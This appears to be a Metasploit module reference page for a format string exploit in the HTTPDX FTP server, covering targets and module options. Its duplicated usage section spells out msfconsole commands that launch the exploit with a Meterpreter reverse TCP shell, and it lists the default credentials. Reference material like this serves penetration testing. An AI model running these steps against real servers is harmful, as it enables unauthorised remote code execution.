HTTPDX tolog() Function Format String Vulnerability
This module exploits a format string vulnerability in HTTPDX FTP server. By sending an specially crafted FTP command containing format specifiers, an attacker can corrupt memory and execute arbitrary code. By default logging is off for HTTP, but enabled for the 'moderator' user via FTP.
Exploit Rank
- Great
Exploit Authors
- jduck < jduck [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Automatic Targeting (default)
- 1 - httpdx 1.4 - Windows XP SP3 English
- 2 - httpdx 1.4.5 - Windows XP SP3 English
- 3 - httpdx 1.4.6 - Windows XP SP3 English
- 4 - httpdx 1.4.6b - Windows XP SP3 English
- 5 - httpdx 1.5 - Windows XP SP3 English
Exploit Development
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Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/ftp/httpdx_tolog_format
msf exploit(httpdx_tolog_format) > show payloads
msf exploit(httpdx_tolog_format) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(httpdx_tolog_format) > set LHOST [MY IP ADDRESS]
msf exploit(httpdx_tolog_format) > set RHOST [TARGET IP]
msf exploit(httpdx_tolog_format) > exploit
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msf > use exploit/windows/ftp/httpdx_tolog_format
msf exploit(httpdx_tolog_format) > show payloads
msf exploit(httpdx_tolog_format) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(httpdx_tolog_format) > set LHOST [MY IP ADDRESS]
msf exploit(httpdx_tolog_format) > set RHOST [TARGET IP]
msf exploit(httpdx_tolog_format) > exploit
Exploit Module Options
| FTPPASS | The password to authenticate with (default: pass123) |
| FTPUSER | The username to authenticate as (default: moderator) |
| RHOST | The target address |
| RPORT | The target port (default: 21) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| FTPDEBUG | Whether or not to print verbose debug statements |
| FTPTimeout | The number of seconds to wait for a reply from an FTP command |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |